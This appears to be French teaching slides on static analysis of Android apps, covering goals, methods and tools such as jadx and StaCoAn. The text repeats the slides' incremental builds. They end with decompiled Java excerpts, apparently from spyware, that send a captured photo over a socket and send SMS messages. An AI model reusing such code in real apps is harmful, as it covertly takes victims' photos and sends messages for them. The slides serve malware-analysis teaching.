

L'analyse statique

- L'analyse statique



L'analyse statique

- L'analyse statique

Qu'est ce que l'analyse statique ?



L'analyse statique

- L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.



L'analyse statique

- L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Objectifs :



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Objectifs :

- ▶ Permissions de l'application



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Objectifs :

- ▶ Permissions de l'application
- ▶ Trackers inclus



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Objectifs :

- ▶ Permissions de l'application
- ▶ Trackers inclus
- ▶ Portions de codes utilisables pour l'analyse dynamique



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Objectifs :

- ▶ Permissions de l'application
- ▶ Trackers inclus
- ▶ Portions de codes utilisables pour l'analyse dynamique

Méthode d'analyse



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Objectifs :

- ▶ Permissions de l'application
- ▶ Trackers inclus
- ▶ Portions de codes utilisables pour l'analyse dynamique

Méthode d'analyse

- ▶ Analyse du code source



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Objectifs :

- ▶ Permissions de l'application
- ▶ Trackers inclus
- ▶ Portions de codes utilisables pour l'analyse dynamique

Méthode d'analyse

- ▶ Analyse du code source
- ▶ Analyse par signature



L'analyse statique

- L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Outils :



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Outils :

- ▶ jadx



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Outils :

- ▶ jadx
- ▶ Android Studio



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Outils :

- ▶ jadx
- ▶ Android Studio
- ▶ exodus-standalone



L'analyse statique

• L'analyse statique

Qu'est ce que l'analyse statique ?

Examen d'un programme permettant d'obtenir des informations par rapport à son comportement sans l'exécuter.

Outils :

- ▶ jadx
- ▶ Android Studio
- ▶ exodus-standalone
- ▶ StaCoAn



L'analyse statique : Exemple

- L'analyse statique

L'analyse statique : Exemple

• L'analyse statique

```
1  private void sendPhoto(byte[] data) {  
2      try {  
3          Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);  
4          ByteArrayOutputStream bos = new ByteArrayOutputStream();  
5          bitmap.compress(CompressFormat.JPEG, 20, bos);  
6          JSONObject object = new JSONObject();  
7          object.put("image", true);  
8          object.put("buffer", bos.toByteArray());  
9          IOSocket.getInstance().getIoSocket().emit("x0000ca", object);  
10     } catch (JSONException e) {  
11         e.printStackTrace();  
12     }  
13 }
```

FIGURE – Méthode permettant la prise et l'envoi d'une photo

L'analyse statique : Exemple

• L'analyse statique

```
1 private void sendPhoto(byte[] data) {
2     try {
3         Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
4         ByteArrayOutputStream bos = new ByteArrayOutputStream();
5         bitmap.compress(CompressFormat.JPEG, 20, bos);
6         JSONObject object = new JSONObject();
7         object.put("image", true);
8         object.put("buffer", bos.toByteArray());
9         IOSocket.getInstance().getIoSocket().emit("x0000ca", object);
10    } catch (JSONException e) {
11        e.printStackTrace();
12    }
13 }
```

FIGURE – Méthode permettant la prise et l'envoi d'une photo

```
1 public static boolean sendSMS(String phoneNo, String msg) {
2     try {
3         SmsManager.getDefault().sendTextMessage(phoneNo, null, msg, null, null);
4         return true;
5     } catch (Exception ex) {
6         ex.printStackTrace();
7         return false;
8     }
9 }
```

FIGURE – Méthode permettant l'envoi d'un SMS